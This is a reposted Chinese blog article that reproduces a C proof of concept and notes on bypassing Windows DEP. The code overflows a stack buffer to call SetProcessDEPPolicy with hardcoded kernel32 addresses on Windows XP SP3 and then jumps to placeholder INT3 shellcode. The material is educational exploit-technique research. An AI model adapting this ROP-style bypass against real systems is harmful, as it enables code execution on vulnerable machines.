[zz]DEP bypass with SetProcessDEPPolicy()

摘要:
如果策略设置为AlwaysOn,则SetProcessDEPPolicy将引发错误。如果模块与/NXCCOMPAT链接,则此技术不会成功。最后但同样重要的是,它可以由进程调用一次。Bernardo Damele写了一篇关于这项技术的博客文章:http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html功能原型如下:BOOLWINAPISetprocessDEPPolicy;此函数需要一个必须设置为0的参数才能禁用当前进程的DEP。
  1. /*
  2. This is a proof of concept of buffer overflow exploitation with DEP
  3. bypass on Windows XP Professional SP3 english updated on December 9,
  4. 2009 with DEP manually set to OptOut so enabled for all processes,
  5. except the ones that are put in the exception list and this program
  6. is not.
  7.  
  8. This source has been compiled with Microsoft Visual C++ 2008 Express
  9. Edition in Release mode with the default flags. This includes
  10. /NXCOMPAT and /GS.
  11.  
  12. Buffer Security Check (stack cookie, /GS flag) does not need to be
  13. bypassed because the string buffer, buf, in this example is long
  14. 4 bytes, so the compiler does not add the GS cookie to the
  15. useSetProcessDEPPolicy() function. Remember that strict_gs_check
  16. pragma by default is turned off.
  17.  
  18. References:
  19. * 'New NX APIs added to Windows Vista SP1, Windows XP SP3 and Windows
  20.   Server 2008' by Michael Howard,
  21.   http://blogs.msdn.com/michael_howard/archive/2008/01/29/new-nx-apis-added-to-windows-vista-sp1-windows-xp-sp3-and-windows-server-2008.aspx
  22. * SetProcessDEPPolicy Function,
  23.   http://msdn.microsoft.com/en-us/library/bb736299%28VS.85%29.aspx
  24.  
  25. Feel free to write me for comments and questions,
  26. Bernardo Damele A. G. <bernardo.damele@gmail.com>
  27. */
  28.  
  29.  
  30. #include <windows.h>
  31. #include <stdlib.h>
  32.  
  33.  
  34. void useSetProcessDEPPolicy()
  35. {
  36.     char buf[4];
  37.  
  38.     /* Overflow the string buffer and EBP register. */
  39.     strcpy(buf,"AAAABBBB");
  40.  
  41.     /* SetProcessDEPPolicy() API has been added to Windows Vista SP1,
  42.     Windows XP SP3 and Windows Server 2008 and can be abused by an
  43.     attacker while exploiting a buffer overflow vulnerability to disable
  44.     hardware-enforced DEP (NX/XD bit) for the running process.
  45.  
  46.     Overwrite EIP with the address of SetProcessDepPolicy() API, which
  47.     is 0x7c8622a4 on a Windows XP SP3 English 32bit system updated on
  48.     December 9, 2009.
  49.  
  50.     NOTE: You might need to adapt it depending on your system patch
  51.     level. */
  52.     memcpy(buf+8,"\xa4\x22\x86\x7c", 4);
  53.  
  54.     /* Return address of SetProcessDepPolicy().
  55.     Use an address of a JMP ESP instruction in kernel32.dll to jump to our
  56.     shellcode on the top of the stack.
  57.  
  58.     NOTE: You might need to adapt it depending on your system patch
  59.     level. */
  60.     memcpy(buf+12,"\x13\x44\x87\x7c", 4);
  61.  
  62.     /* Argument for SetProcessDepPolicy().
  63.     0x00000000 turn off DEP for this process. */
  64.     memcpy(buf+16,"\x00\x00\x00\x00", 4);
  65.  
  66.     /* The shellcode to be executed after DEP has been disabled.
  67.     For instance, a breakpoint (INT 3 instruction) to call the
  68.     debug exception handler which will pause the process. */
  69.     memcpy(buf+20,"\xcc", 1);
  70. }
  71.  
  72.  
  73. int main()
  74. {
  75.     useSetProcessDEPPolicy();
  76.  
  77.     return0;
  78. }
     
    利用SetProcessDEPPolicy来关闭DEP
    适用在:Windows XP SP3,Vista SP1 和Windows 2008。
    为了能使这个函数有效,当前的DEP 策略必须设成OptIn 或者OptOut。如果策略被设成
    AlwaysOn(或者AlwaysOff),然后SetProcessDEPPolicy 将会抛出一个错误。如果一个模块
    是以/NXCOMPAT 链接的,这个技术也将不会成功。最后,同等重要的是,它这能被进程调
    用一次。因此如果这个函数已经被当前进程调用(如IE8,当程序开始时已经调用它),它
    将不成功。
    Bernardo Damele 写了一篇关于这一技术的博文:
    http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html
    函数原型如下:
    BOOLWINAPI SetprocessDEPPolicy(
      __in DWORD dwFlags
    );
    这个函数需要一个参数,并且这个参数必须设置为0,以此禁用当前进程的DEP。
    为了在ROP 链中使用这个函数,你需要在栈上这样设置:
    ●指向SetProcessDEPPolicy 的指针
    ●指向shellcode 的指针
    ●0
    指向shellcode 的指针用于确保当SetProcessDEPPolicy()执行完ROP链后会跳到shellcode。
    在XP SP3 下SetProcessDEPPolicy 的地址是7C8622A4(kernel32.dll)
    http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html

免责声明:文章转载自《[zz]DEP bypass with SetProcessDEPPolicy()》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇oracle 排序后分页查询OpenStack Nova Release(Rocky to Train)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

由pthread库版本不一致导致的段错误

前几天工作中遇到一个奇怪的问题,程序编译好之后一运行,就发生 segmentation fault. 另一个奇怪的问题是,删掉部分无用的代码(至少在程序启动时不会被调用),编译出来的程序稍微小了一点,就可以运行了。 发生 Segmentation fault 的程序,写在 main() 函数内的 log 都没有打印出来,因此断定是库的问题,但要跟踪确定问题...

【VS开发】【C/C++开发】memcpy和memmove的区别

memcpy和memmove()都是C语言中的库函数,在头文件string.h中,作用是拷贝一定长度的内存的内容,原型分别如下: void *memcpy(void *dst, const void *src, size_t count); void *memmove(void *dst, const void *src, size_t count);...

memcpy多字节字节赋值问题

   以前没注意过多字节赋值问题,考虑的角度是充分利用 cpu 的 32 位带宽。一次复制 1 个字节和一次复制 4 个字节占用的 cpu 指令周期是一样的,既然我们的 cpu 能同时操作 32 位,为什么我们不能一次复制 4 个字节呢?如此一来,总运行的指令数将降低到原来的 1/4 ! 于是有下面代码(henix转自http://www.embedd...

memcpy的使用方法总结

1、memcpy 函数用于 把资源内存(src所指向的内存区域) 复制到目标内存(dest所指向的内存区域);拷贝多少个?有一个size变量控制拷贝的字节数;函数原型:void *memcpy(void *dest, void *src, unsigned int count);使用方法:(1)能够拷贝不论什么类型的对象,由于函数的參数类型是void*(...

iOS中常见 Crash 及解决方案

一、访问了一个已经被释放的对象 在不使用 ARC 的时候,内存要自己管理,这时重复或过早释放都有可能导致 Crash。 例子 NSObject *aObj = [[NSObject alloc]init]; [aObj release]; NSLog(@"%@",aObj); 原因 aObj 这个对象已经被释放,但是指针没有置空,这时访问这个指针指向的...

Cortex-M4的快速memcpy,根据数据对齐情况自动优化,速度为普通memcpy的1.3到5.2倍

代码:https://github.com/gamesun/memcpy_fast memcpy_fast与memcpy速度比较 测试方法 memcpy_fast(dest + a, src + b, TEST_BUFF_SIZE + c); 与 memcpy(dest + a, src + b, TEST_BUFF_SIZE + c); dest 和...